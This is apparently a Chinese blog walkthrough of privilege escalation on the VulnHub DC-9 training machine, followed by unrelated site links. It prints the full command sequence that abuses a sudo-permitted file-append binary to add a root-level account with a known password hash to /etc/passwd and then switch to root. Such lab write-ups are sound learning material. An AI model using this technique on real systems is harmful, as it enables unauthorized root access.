    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:

    (root) NOPASSWD: /opt/devstuff/dist/test/test

跳转到该目录

fredf@dc-9:/opt/devstuff/dist/test$ ls -al

total 12796

drwxr-xr-x 2 root root    4096 Dec 29  2019 .

drwxr-xr-x 3 root root    4096 Dec 29  2019 ..

-rw-r--r-- 1 root root  779676 Dec 29  2019 base_library.zip

-rwxr-xr-x 1 root root   26136 Apr  3  2019 _bz2.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root  153904 Apr  3  2019 _codecs_cn.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root  158032 Apr  3  2019 _codecs_hk.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root   31024 Apr  3  2019 _codecs_iso2022.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root  272688 Apr  3  2019 _codecs_jp.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root  141616 Apr  3  2019 _codecs_kr.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root  112944 Apr  3  2019 _codecs_tw.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root   34008 Apr  3  2019 _hashlib.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root   74688 Jul 11  2019 libbz2.so.1.0

-rwxr-xr-x 1 root root 3031904 Oct 13  2019 libcrypto.so.1.1

-rwxr-xr-x 1 root root  243840 Sep 20  2019 libexpat.so.1

-rwxr-xr-x 1 root root  158400 Jan 28  2019 liblzma.so.5

-rwxr-xr-x 1 root root 5080176 Apr  3  2019 libpython3.7m.so.1.0

-rwxr-xr-x 1 root root  309096 May  6  2018 libreadline.so.7

-rwxr-xr-x 1 root root  593696 Oct 13  2019 libssl.so.1.1

-rwxr-xr-x 1 root root  183528 Aug  6  2019 libtinfo.so.6

-rwxr-xr-x 1 root root  121280 Sep 26  2017 libz.so.1

-rwxr-xr-x 1 root root   37688 Apr  3  2019 _lzma.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root   64792 Apr  3  2019 _multibytecodec.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root   14632 Apr  3  2019 _opcode.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root   39944 Apr  3  2019 readline.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root   19752 Apr  3  2019 resource.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root  116568 Apr  3  2019 _ssl.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root   29064 Apr  3  2019 termios.cpython-37m-x86_64-linux-gnu.so

-rwxr-xr-x 1 root root 1212968 Dec 29  2019 test

准备提权

回退到前面目录发现python脚本

fredf@dc-9:/opt/devstuff/dist/test$ cd ..

fredf@dc-9:/opt/devstuff/dist$ ls

test

fredf@dc-9:/opt/devstuff/dist$ ls -al

total 12

drwxr-xr-x 3 root root 4096 Dec 29  2019 .

drwxr-xr-x 5 root root 4096 Dec 29  2019 ..

drwxr-xr-x 2 root root 4096 Dec 29  2019 test

fredf@dc-9:/opt/devstuff/dist$ cd ..

fredf@dc-9:/opt/devstuff$ ls

build  dist  __pycache__  test.py  test.spec

fredf@dc-9:/opt/devstuff$

查看一下内容，生成一个密码用root权限执行脚本写入/etc/passwd文件，所以我们现在就需要构造一个拥有root权限的用户，并且在/etc/passwd文件中储存，只要使用这个用户登录后，就可以获取到root权限

fredf@dc-9:/opt/devstuff$ cat test.py

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :

    print ("Usage: python test.py read append")

    sys.exit (1)

else :

    f = open(sys.argv[1], "r")

    output = (f.read())

    f = open(sys.argv[2], "a")

    f.write(output)

    f.close()

回到kali，使用openssl工具创建一个本地的加密用户，命令openssl passwd -1 -salt admin admin

回到靶机

然后回到靶机，跳转到/opt/devstuff/dist/test目录

使用echo命令在/tmp目录下创建一个文件，命令

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/test1

然后使用命令

sudo ./test /tmp/test1 /etc/passwd

使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中

我这里试了好几次，不知道什么原因，最后admin2成功了，有师傅懂的欢迎交流

┌──(root㉿kali)-[~]

└─# ssh fredf@192.168.100.22

fredf@192.168.100.22's password:

Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Thu Feb  1 13:28:27 2024 from 192.168.100.251

fredf@dc-9:~$ cd /opt/devstuff/dist/test

fredf@dc-9:/opt/devstuff/dist/test$ ls

base_library.zip                                 libpython3.7m.so.1.0

_bz2.cpython-37m-x86_64-linux-gnu.so             libreadline.so.7

_codecs_cn.cpython-37m-x86_64-linux-gnu.so       libssl.so.1.1

_codecs_hk.cpython-37m-x86_64-linux-gnu.so       libtinfo.so.6

_codecs_iso2022.cpython-37m-x86_64-linux-gnu.so  libz.so.1

_codecs_jp.cpython-37m-x86_64-linux-gnu.so       _lzma.cpython-37m-x86_64-linux-gnu.so

_codecs_kr.cpython-37m-x86_64-linux-gnu.so       _multibytecodec.cpython-37m-x86_64-linux-gnu.so

_codecs_tw.cpython-37m-x86_64-linux-gnu.so       _opcode.cpython-37m-x86_64-linux-gnu.so

_hashlib.cpython-37m-x86_64-linux-gnu.so         readline.cpython-37m-x86_64-linux-gnu.so

libbz2.so.1.0                                    resource.cpython-37m-x86_64-linux-gnu.so

libcrypto.so.1.1                                 _ssl.cpython-37m-x86_64-linux-gnu.so

libexpat.so.1                                    termios.cpython-37m-x86_64-linux-gnu.so

liblzma.so.5                                     test

fredf@dc-9:/opt/devstuff/dist/test$ echo 'admin2:$1$admin2$Pr1254RlLuWxoieYEI.Sa0:0:0::/root:/bin/bash' >> /tmp/test1

fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/test1 /etc/passwd

fredf@dc-9:/opt/devstuff/dist/test$ su admin2

Password:

root@dc-9:/opt/devstuff/dist/test#

成功！flag就在root目录下

DC-9渗透学习的更多相关文章

  1. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  2. web渗透 学习计划（转载）

    作者:向生李链接:https://www.zhihu.com/question/21914899/answer/39344435来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明 ...

  3. web渗透学习方向

    本章写给新加入我们破晓工作室的学弟学妹. 我现在写的是渗透方向的学习方向.因为我参加了线上培训班,听了专门培训渗透的课程后.所以感觉我们工作室自学太累了.如果没有一个“正确”的学习方向都不知道该学些什 ...

  4. Samuraiwtf-的确是很好的渗透学习平台

    有人问我要渗透测试平台学习,我想到了Samurai ,记得里面带有很多的,这里来推广一下. Samurai Web 测试框架很多人说是live CD测试环境,但是现在似乎不是了,至少目前最新版的只有这 ...

  5. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  6. web渗透学习目录

    一,基础学习 01.基础学习 [[编码总结]] [[JSON三种数据解析方法]] [[js加密,解密]] [[Internet保留地址和非保留地址.内网和公网.VNC和UltraVN]] 代理 [[S ...

  7. 域渗透学习预备知识-IPC$的入侵防御

    一.什么是IPC$ 以下段落引文自:http://www.xfocus.net/articles/200303/493.html IPC$(Internet Process Connection)是共 ...

  8. 零基础到精通Web渗透测试的学习路线

    小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...

  9. 初级AD域渗透系列

      net group /domain 获得所有域用户组列表 net group “domain admins” /domain 获得域管理员列表 net group “enterprise admi ...

  10. ESP8266入门学习笔记1：资料获取

    乐鑫官网:https://www.espressif.com/zh-hans/products/hardware/esp8266ex/overview 乐鑫资料:https://www.espress ...

随机推荐

  1. CodeForces - 651A Joysticks ( 不难 但有坑 )

    正式更换编译器为: VS Code 如何配置环境:click here 代码格式化工具:clang-format A. Joysticks 题目连接: http://www.codeforces.co ...

  2. Spark 数据倾斜及其解决方案

    本文首发于 vivo互联网技术 微信公众号 https://mp.weixin.qq.com/s/lqMu6lfk-Ny1ZHYruEeBdA 作者简介:郑志彬,毕业于华南理工大学计算机科学与技术(双 ...

  3. 安全情报 | Pypi再现窃密攻击投毒

    概述 悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi.NPM.Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并 ...

  4. element-ui实现部分引用

    1.首先安装 babel-plugin-component组件: 2.修改babel.js配置 1 module.exports = { 2 presets: [ 3 '@vue/app', 4 [' ...

  5. Oracle数据库期末考试--学堂在线

    1.单选题 (2分) 在Oracle数据库中,下面哪类索引最适合SQL范围查找? 2.单选题 (2分) 在创建Oracle数据库表时,下面哪个元素不出现在CREATE TABLE语句中? 3.单选题 ...

  6. 2023第十四届极客大挑战 — PWN WP

    WP可能有点简陋,因为是直接从docx导入到博客的,实在不想再重新写了!大家凑合着看吧!哈哈哈,问题不大! pwn方向出自:队友 nc_pwntools 只要过了chal1和chal2即可执行任意命令 ...

  7. [转帖]jmeter学习笔记（二十二）——监听器插件之jp@gc系列

    一.jp@gc - Actiive Threads Over Time 不同时间活动用户数量展示 下面是一个阶梯加压测试的图标   二.jp@gc - Transactions per Second ...

  8. [转帖]安全技术和iptables防火墙

    目录 安全技术 Netfilter 防火墙工具介绍 iptables firewalld nftables iptables的组成概述 netfilter与iptables关系 iptables的四表 ...

  9. Docker 23.0.0 简单学习与使用

    前言 Docker 从2013年火起来到现在才第十个年头. 现在已经被Google的K8S打的没有任何还手之力. 随着K8S放弃支持docker,仅支持containerd的方式. 直接导致docke ...

  10. Rsync的简单使用

    Rsync的简单使用 需求 一个运行很久的系统里面可能包含了非常多的垃圾文件. 但是又不可能随便删除, 很多垃圾可能有某些奇葩的用法. 有时候新建一个应用复制文件的话比较浪费磁盘和带宽. 所以这里简单 ...